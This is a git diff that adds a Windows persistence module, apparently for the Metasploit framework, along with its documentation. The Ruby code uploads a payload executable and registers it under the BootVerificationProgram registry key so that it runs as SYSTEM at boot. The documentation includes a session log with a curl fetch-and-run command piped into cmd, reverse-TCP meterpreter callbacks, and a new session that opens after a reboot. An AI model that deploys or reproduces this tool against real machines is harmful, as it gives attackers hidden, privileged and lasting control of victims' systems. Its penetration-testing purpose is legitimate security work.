diff --git a/documentation/modules/exploit/windows/persistence/boot_verification_program.md b/documentation/modules/exploit/windows/persistence/boot_verification_program.md new file mode 100644 index 0000000000000..3276916754e66 --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/boot_verification_program.md @@ -0,0 +1,110 @@ +## Vulnerable Application + +This module establishes persistence by configuring the BootVerificationProgram +registry key. It uploads a payload executable and modifies the `ImagePath` +value under `HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram`. + +The payload is executed by the Service Control Manager early in the boot cycle, +running with SYSTEM privileges before user logon. + +Administrator or SYSTEM privileges are required to modify HKLM. + +Verified on Windows 11 24H2+ (10.0 Build 26200). + +## Verification Steps + +1. Start `msfconsole` +2. Get an admin or SYSTEM meterpreter session +3. `use exploit/windows/persistence/boot_verification_program` +4. `set SESSION [SESSION]` +5. `run` +6. Reboot the target machine +7. You should get a new meterpreter session + +## Options + +### PAYLOAD_NAME + +Name of the exe file to write. Defaults to a random 8 character string. + +## Scenarios + +### Windows 11 24H2+ (10.0 Build 26200) + +Get a meterpreter session + +``` +msf > setg verbose true +verbose => true +msf > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf > use payload/cmd/windows/http/x64/meterpreter_reverse_tcp +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > set fetch_command CURL +fetch_command => CURL +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > set fetch_pipe true +fetch_pipe => true +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler +[*] Command served: curl -so %TEMP%\VXnishimdj.exe http://1.1.1.1:8080/nCaX6BQrNbeVWy71mJdg9w & start /B %TEMP%\VXnishimdj.exe + +[*] Command to run on remote host: curl -s http://1.1.1.1:8080/tIBmwp8Cy7-zPaVZhD-bvw|cmd +[*] Payload Handler Started as Job 0 +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /nCaX6BQrNbeVWy71mJdg9w +[*] Adding resource /tIBmwp8Cy7-zPaVZhD-bvw +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Client 2.2.2.2 requested /tIBmwp8Cy7-zPaVZhD-bvw +[*] Sending payload to 2.2.2.2 (curl/8.19.0) +[*] Client 2.2.2.2 requested /nCaX6BQrNbeVWy71mJdg9w +[*] Sending payload to 2.2.2.2 (curl/8.19.0) +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:50977) at 2026-06-07 23:20:59 +0200 + +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : TESTWIN +OS : Windows 11 24H2+ (10.0 Build 26200). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: TESTWIN\user +``` + +Install Persistence + +``` +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/boot_verification_program +[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp +msf exploit(windows/persistence/boot_verification_program) > set session 1 +session => 1 +msf exploit(windows/persistence/boot_verification_program) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf exploit(windows/persistence/boot_verification_program) > set lport 4445 +lport => 4445 +msf exploit(windows/persistence/boot_verification_program) > run +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +msf exploit(windows/persistence/boot_verification_program) > +[*] Started reverse TCP handler on 1.1.1.1:4445 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Target appears vulnerable to Boot Verification Program persistence +[*] Writing payload to C:\Users\user\AppData\Local\Temp\eZjFmuNC.exe +[+] Payload EXE written to C:\Users\user\AppData\Local\Temp\eZjFmuNC.exe +[*] The BootVerificationProgram key was not found. Creating a new structure... +[+] Persistence installed +[*] Meterpreter-compatible Cleanup RC file: /home/user/.msf4/logs/persistence/TESTWIN_20260607.2146/TESTWIN_20260607.2146.rc +``` + +Show the persistence by rebooting the machine + +``` +msf exploit(windows/persistence/boot_verification_program) > [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died + +[*] Sending stage (248902 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4445 -> 2.2.2.2:49672) at 2026-06-07 23:23:04 +0200 +``` \ No newline at end of file diff --git a/modules/exploits/windows/persistence/boot_verification_program.rb b/modules/exploits/windows/persistence/boot_verification_program.rb new file mode 100644 index 0000000000000..113bcb085c337 --- /dev/null +++ b/modules/exploits/windows/persistence/boot_verification_program.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry + include Msf::Post::Windows::Services + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Local::Persistence + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Boot Verification Program Persistence', + 'Description' => %q{ + This module establishes persistence by configuring the BootVerificationProgram + registry key. It uploads a payload executable and modifies the 'ImagePath' + value under HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram. + + The payload is executed by the Service Control Manager early in the boot cycle, + running with SYSTEM privileges before user logon. + + Administrator or SYSTEM privileges are required to execute this persistence technique. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Emanuele Cervelli', + ], + 'Platform' => [ 'win' ], + 'Arch' => [ARCH_X64, ARCH_X86], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + [ 'Automatic', {} ] + ], + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION], + ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], + ['URL', 'https://www.cyberark.com/resources/ransomware-protection/persistence-techniques-that-persist'] + ], + 'DefaultTarget' => 0, + # Date the technique was published on MITRE ATT&CK (T1547) + 'DisclosureDate' => '2020-01-23', + 'Notes' => { + 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']) + ]) + end + + def check + return CheckCode::Safe('Admin or SYSTEM privileges are required') unless is_system? || is_admin? + + print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value + return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) + + CheckCode::Appears('Target appears vulnerable to Boot Verification Program persistence') + end + + def install_persistence + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) + payload_name += '.exe' unless payload_name.downcase.end_with?('.exe') + payload_exe = generate_payload_exe + payload_pathname = "#{writable_dir}\\#{payload_name}" + + vprint_status("Writing payload to #{payload_pathname}") + fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe) + print_good("Payload EXE written to #{payload_pathname}") + + boot_reg_key = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\BootVerificationProgram' + had_preexisting_boot_key = false + old_image_path = nil + + if registry_enumkeys(boot_reg_key).nil? + vprint_status('The BootVerificationProgram key was not found. Creating a new structure...') + + unless registry_createkey(boot_reg_key) + rm_f(payload_pathname) + fail_with(Failure::UnexpectedReply, "Failed to create missing registry key: #{boot_reg_key}") + end + else + vprint_good('The BootVerificationProgram key already exists. Skipping creation step.') + had_preexisting_boot_key = true + old_image_path = registry_getvaldata(boot_reg_key, 'ImagePath') + end + + unless registry_setvaldata(boot_reg_key, 'ImagePath', payload_pathname, 'REG_EXPAND_SZ') + if old_image_path + registry_setvaldata(boot_reg_key, 'ImagePath', old_image_path, 'REG_EXPAND_SZ') + elsif had_preexisting_boot_key + registry_deleteval(boot_reg_key, 'ImagePath') + else + registry_deletekey(boot_reg_key) + end + rm_f(payload_pathname) + fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{boot_reg_key}\\ImagePath") + end + + print_good('Persistence installed') + + @clean_up_rc << "execute -f cmd.exe -a '/c del \"#{payload_pathname}\"' -i -H\n" + if had_preexisting_boot_key && old_image_path + @clean_up_rc << "reg setval -k '#{boot_reg_key}' -v 'ImagePath' -d '#{old_image_path}' -t 'REG_EXPAND_SZ'\n" + elsif had_preexisting_boot_key + @clean_up_rc << "reg deleteval -k '#{boot_reg_key}' -v 'ImagePath'\n" + else + @clean_up_rc << "reg deletekey -k '#{boot_reg_key}'\n" + end + end +end